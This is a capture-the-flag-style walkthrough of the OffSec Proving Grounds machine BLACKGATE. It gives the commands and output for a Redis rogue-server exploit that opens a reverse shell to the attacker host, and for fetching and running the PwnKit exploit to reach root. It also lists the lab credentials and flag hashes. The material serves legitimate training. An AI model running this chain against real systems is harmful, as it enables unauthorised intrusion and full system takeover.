Skip to main content
  1. Posts/

OFFSEC - Proving Grounds - BLACKGATE

·1474 words·7 mins·
OSCP OFFSEC PG PRACTICE REDIS PWNKIT
 Author
Table of Contents

Summary
#

On port 6379 is a Redis key-value store 4.0.14 running. There is a exploit available which provides initial access as the prudence user. Running linpeas.sh show the target is vulnerable for pwnkit (CVE-2021-4034). Using pwnkit we escalate privilege to the root user.

Specifications
#

  • Name: BLACKGATE
  • Platform: PG PRACTICE
  • Points: 25
  • Difficulty: Hard
  • OS: Linux blackgate 5.8.0-63-generic #71-Ubuntu SMP Tue Jul 13 15:59:12 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux
  • IP address: 192.168.182.176
  • OFFSEC provided credentials: prudence:BatmanAndRobinForever1939!!!!
  • HASH: local.txt:3cb0f80c93e1c4b9ab7f30a0581a88f7
  • HASH: proof.txt:6b24618221bc1854bbf5d6e5b102df83

Preparation
#

First we’ll create a directory structure for our files, set the IP address to a bash variable and ping the target:

## create directory structure
mkdir blackgate && cd blackgate && mkdir enum files exploits uploads tools

## list directory
ls -la

total 28
drwxrwxr-x  7 kali kali 4096 Aug 18 20:57 .
drwxrwxr-x 34 kali kali 4096 Aug 18 20:57 ..
drwxrwxr-x  2 kali kali 4096 Aug 18 20:57 enum
drwxrwxr-x  2 kali kali 4096 Aug 18 20:57 exploits
drwxrwxr-x  2 kali kali 4096 Aug 18 20:57 files
drwxrwxr-x  2 kali kali 4096 Aug 18 20:57 tools
drwxrwxr-x  2 kali kali 4096 Aug 18 20:57 uploads

## set bash variable
ip=192.168.182.176

## ping target to check if it's online
ping $ip

PING 192.168.182.176 (192.168.182.176) 56(84) bytes of data.
64 bytes from 192.168.182.176: icmp_seq=1 ttl=61 time=18.8 ms
64 bytes from 192.168.182.176: icmp_seq=2 ttl=61 time=22.2 ms
^C
--- 192.168.182.176 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1002ms
rtt min/avg/max/mdev = 18.788/20.494/22.201/1.706 ms

Reconnaissance
#

Portscanning
#

Using Rustscan we can see what TCP ports are open. This tool is part of my default portscan flow.

## run the rustscan tool
sudo rustscan -a $ip | tee enum/rustscan

.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog         :
: https://github.com/RustScan/RustScan :
 --------------------------------------
RustScan: Exploring the digital landscape, one IP at a time.

[~] The config file is expected to be at "/root/.rustscan.toml"
[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers
[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'. 
Open 192.168.182.176:22
Open 192.168.182.176:6379
[~] Starting Script(s)
[~] Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-18 20:58 CEST
Initiating Ping Scan at 20:58
Scanning 192.168.182.176 [4 ports]
Completed Ping Scan at 20:58, 0.05s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 20:58
Completed Parallel DNS resolution of 1 host. at 20:58, 0.01s elapsed
DNS resolution of 1 IPs took 0.01s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating SYN Stealth Scan at 20:58
Scanning 192.168.182.176 [2 ports]
Discovered open port 22/tcp on 192.168.182.176
Discovered open port 6379/tcp on 192.168.182.176
Completed SYN Stealth Scan at 20:58, 0.07s elapsed (2 total ports)
Nmap scan report for 192.168.182.176
Host is up, received echo-reply ttl 61 (0.019s latency).
Scanned at 2025-08-18 20:58:31 CEST for 0s

PORT     STATE SERVICE REASON
22/tcp   open  ssh     syn-ack ttl 61
6379/tcp open  redis   syn-ack ttl 61

Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.24 seconds
           Raw packets sent: 6 (240B) | Rcvd: 3 (116B)

Copy the output of open ports into a file called ports within the files directory.

## edit the ``files/ports` file
nano files/ports

## content `ports` file:
22/tcp   open  ssh     syn-ack ttl 61
6379/tcp open  redis   syn-ack ttl 61

Run the following command to get a string of all open ports and use the output of this command to paste within NMAP:

## get a list, comma separated of the open port(s)
cd files && cat ports | cut -d '/' -f1 > ports.txt && awk '{printf "%s,",$0;n++}' ports.txt | sed 's/.$//' > ports && rm ports.txt && cat ports && cd ..

## output previous command
22,6379

## use this output in the `nmap` command below:
sudo nmap -T3 -p 22,6379 -sCV -vv $ip -oN enum/nmap-services-tcp

Output of NMAP:

PORT     STATE SERVICE REASON         VERSION
22/tcp   open  ssh     syn-ack ttl 61 OpenSSH 8.3p1 Ubuntu 1ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 37:21:14:3e:23:e5:13:40:20:05:f9:79:e0:82:0b:09 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDErzUX3Jeg2oRWhqelAA3/QrsFYoyDVaXbJK0ghZTX1i3mZY8SXopUZC09JD/6S+Ye+nFW2/6rnXHltIVWEALmPDrlDOV5m+LGujzXqc5YJcylNnwSjz9TjCHlPa+PrMdyp2NyT+Wt2w6jhVWA1sowq8R4ZDkqvpQwz9rUOVk5IRiV6fgdEuHBBXKQZu9S00iPNC5hhfmclk5k2dPtFqQRlosZfjDjv5E8Zo8YwLGonmWciNQQB8DWX47R08noPMseQMYR707ABcIgx4+DKMZ7/HlOzqwoqFdyvMSdPf5lz+cPG/aI0N6qua80uxbXg0rvMNQuZd73d5jA+Yp3eIkI4lHQqjXO4B0Gbl4lpcHTWCdUI93dLbBy13J0NdTG+vqkXszDBXr19rWaD+yeXg8FQt5ViHr7N/Pr77zFjOiAq4AjRNt6j8e+kX0Cqwov1RwUc4R1JPfmEIZqm8Ds/z+jDhkhLoJP4yjE8xNHhOz8lUk+bZh3zGuS3+97Mrkh3Rs=
|   256 b9:8d:bd:90:55:7c:84:cc:a0:7f:a8:b4:d3:55:06:a7 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBPed4/WiZ+RjcALVwQnLf74Byu1yb40zjCfDT+DBa4jiTzciU5Ql1fhEzanZGgt5VuK0y5ZAgG7f54yL9iVcaU8=
|   256 07:07:29:7a:4c:7c:f2:b0:1f:3c:3f:2b:a1:56:9e:0a (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIJLFhMCuSltbhF2Mj0Xz0A3ZSEhcu8LOF9hX8bqGirVH
6379/tcp open  redis   syn-ack ttl 61 Redis key-value store 4.0.14
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Initial Access
#

6379/tcp open  redis   syn-ack ttl 61 Redis key-value store 4.0.14

In the NMAP output it shows on port 6379 a Redis key-value store 4.0.14. When we search on the internet for an existing exploit we can find: https://github.com/n0b0dyCN/redis-rogue-server?source=post_page-----49920d4188de---------------------------------------. When we setup a listener and run this exploit we get initial access as the prudence user in the /tmp directory.



./redis-rogue-server.py --rhost=$ip --rport=6379 --lhost=192.168.45.204
/home/kali/hk/offsec/pg/practice/blackgate/files/redis-rogue-server/./redis-rogue-server.py:11: SyntaxWarning: invalid escape sequence '\ '
  | ___ \       | (_)     | ___ \                       /  ___|
______         _ _      ______                         _____                          
| ___ \       | (_)     | ___ \                       /  ___|                         
| |_/ /___  __| |_ ___  | |_/ /___   __ _ _   _  ___  \ `--.  ___ _ ____   _____ _ __ 
|    // _ \/ _` | / __| |    // _ \ / _` | | | |/ _ \  `--. \/ _ \ '__\ \ / / _ \ '__|
| |\ \  __/ (_| | \__ \ | |\ \ (_) | (_| | |_| |  __/ /\__/ /  __/ |   \ V /  __/ |   
\_| \_\___|\__,_|_|___/ \_| \_\___/ \__, |\__,_|\___| \____/ \___|_|    \_/ \___|_|   
                                     __/ |                                            
                                    |___/                                             
@copyright n0b0dy @ r3kapig

[info] TARGET 192.168.182.176:6379
[info] SERVER 192.168.45.204:21000
[info] Setting master...
[info] Setting dbfilename...
[info] Loading module...
[info] Temerory cleaning up...
What do u want, [i]nteractive shell or [r]everse shell: r
[info] Open reverse shell...
Reverse server address: 192.168.45.204
Reverse server port: 9001
[info] Reverse shell payload sent.
[info] Check at 192.168.45.204:9001
[info] Unload module...


## catch the reverse shell
nc -lvnp 9001
listening on [any] 9001 ...
connect to [192.168.45.204] from (UNKNOWN) [192.168.182.176] 33564

## print current user
whoami
prudence

## print current working directory
pwd
/tmp

## find `local.txt` on the filesystem
find / -iname 'local.txt' 2>/dev/null
/home/prudence/local.txt

## print `local.txt`
cat /home/prudence/local.txt
3cb0f80c93e1c4b9ab7f30a0581a88f7

Privilege Escalation
#

To get a proper TTY we upgrade our shell using the script binary.

## determine location script binary
which script
/usr/bin/script

## start the script binary, after that press CTRL+Z
/usr/bin/script -qc /bin/bash /dev/null

## after this command press the `enter` key twice
stty raw -echo ; fg ; reset

## run the following to be able to clear the screen and set the terrminal correct
prudence@blackgate:/tmp$ export TERM=xterm
prudence@blackgate:/tmp$ stty columns 200 rows 200

Now, upload linpeas.sh to the target and run it.

## change directory locally
cd uploads

## download latest version of linpeas.sh
wget https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh

## get local IP address on tun0
ip a | grep -A 10 tun0
5: tun0: <POINTOPOINT,MULTICAST,NOARP,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UNKNOWN group default qlen 500
    link/none 
    inet 192.168.45.204/24 scope global tun0
       valid_lft forever preferred_lft forever
    inet6 fe80::7ba9:3aa7:1247:c167/64 scope link stable-privacy proto kernel_ll 
       valid_lft forever preferred_lft forever

## start local webserver
python3 -m http.server 80

## on target
## change directory
prudence@blackgate:/tmp$ cd /var/tmp
prudence@blackgate:/var/tmp$ 

## download `linpeas.sh`
prudence@blackgate:/var/tmp$ wget http://192.168.45.204/linpeas.sh
--2025-08-18 19:34:16--  http://192.168.45.204/linpeas.sh
Connecting to 192.168.45.204:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 956174 (934K) [text/x-sh]
Saving to: 'linpeas.sh'

linpeas.sh                                          0%[                                                                                linpeas.sh                                        100%[=============================================================================================================>] 933.76K  --.-KB/s    in 0.1s    

2025-08-18 19:34:16 (7.22 MB/s) - 'linpeas.sh' saved [956174/956174]

## set the execution bit
prudence@blackgate:/var/tmp$ chmod +x linpeas.sh 

## run `linpeas.sh`
prudence@blackgate:/var/tmp$ ./linpeas.sh

The linpeas.sh output shows the target is vulnerable for pwnkit (CVE-2021-4034). Now, let’s download the exploit, upload to the target and run it to escalate our privileges to root.

## get the local IP address on tun0
ip a | grep -A 10 tun0
5: tun0: <POINTOPOINT,MULTICAST,NOARP,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UNKNOWN group default qlen 500
    link/none 
    inet 192.168.45.204/24 scope global tun0
       valid_lft forever preferred_lft forever
    inet6 fe80::7ba9:3aa7:1247:c167/64 scope link stable-privacy proto kernel_ll 
       valid_lft forever preferred_lft forever

## change directory
cd uploads

## download `pwnkit`
curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit -o pwnkit

## start local webserver
python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

## in target:
## download `pwnkit`
prudence@blackgate:/var/tmp$ wget http://192.168.45.204/pwnkit    
--2025-08-18 19:38:31--  http://192.168.45.204/pwnkit
Connecting to 192.168.45.204:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 18040 (18K) [application/octet-stream]
Saving to: 'pwnkit'

pwnkit                                              0%[                                                                                pwnkit                                            100%[=============================================================================================================>]  17.62K  --.-KB/s    in 0.02s   

2025-08-18 19:38:31 (912 KB/s) - 'pwnkit' saved [18040/18040]

## set execution bit on `pwnkit`
prudence@blackgate:/var/tmp$ chmod +x pwnkit 

## execute `pwnkit`
prudence@blackgate:/var/tmp$ ./pwnkit 
root@blackgate:/var/tmp#

## print `proof.txt`
root@blackgate:/var/tmp# cat /root/proof.txt
6b24618221bc1854bbf5d6e5b102df83

References
#

[+]

Related

OFFSEC - Proving Grounds - EXFILTRATED
·2596 words·13 mins
OSCP OFFSEC PG PRACTICE SUBRION CMS PWNKIT EXIFTOOL
SSH or Subrion CMS 4.2.1 file upload for access. Run linpeas to find CVE-2021-4034 (PwnKit) & cronjob with exiftool (CVE-2021-22204) for root.
OFFSEC - Proving Grounds - IMAGE
·1239 words·6 mins
OSCP OFFSEC PG PRACTICE IMAGEMAGICK
ImageMagick 6.9.6-4 on port 80 exploited for initial access. SUID on the strace binary leads to root privilege escalation.
OFFSEC - Proving Grounds - SPX
·2016 words·10 mins
OSCP OFFSEC PG PRACTICE TINY FILE MANAGER MAKE
Tiny File Manager 2.5.3 on port 80; Exploiting CVE-2024-42007 and uploaded PHP reverse shell gives initial access, making own Makefile to set SUID on /bin/bash escalates our privileges
OFFSEC - Proving Grounds - OCHIMA
·1812 words·9 mins
OSCP OFFSEC PG PRACTICE MALTRAIL PSPY
Maltrail 0.52 on port 8338 allows unauthenticated RCE, granting initial access. Exploit /var/backups/etc_Backup.sh as it’s run by root every minute, to escalate to root privileges.
OFFSEC - Proving Grounds - ZIPPER
·1808 words·9 mins
OSCP OFFSEC PG PRACTICE PHPWRAPPER PSPY
Zipper website on port 80 allows file uploads. Use ZIP PHP wrapper for initial access and escalate to root via /opt/backup.sh script.
OFFSEC - Proving Grounds - SCRUTINY
·2633 words·13 mins
OSCP OFFSEC PG PRACTICE VHOST JOHN SSH2JOHN TEAMCITY
Initial access via OFFSEC credentials or TeamCity CVE-2024-27198 exploit, get id_rsa key for marcot and password of multiple users. Briand runs /usr/bin/systemctl as root, escalate to root using GTFOBins.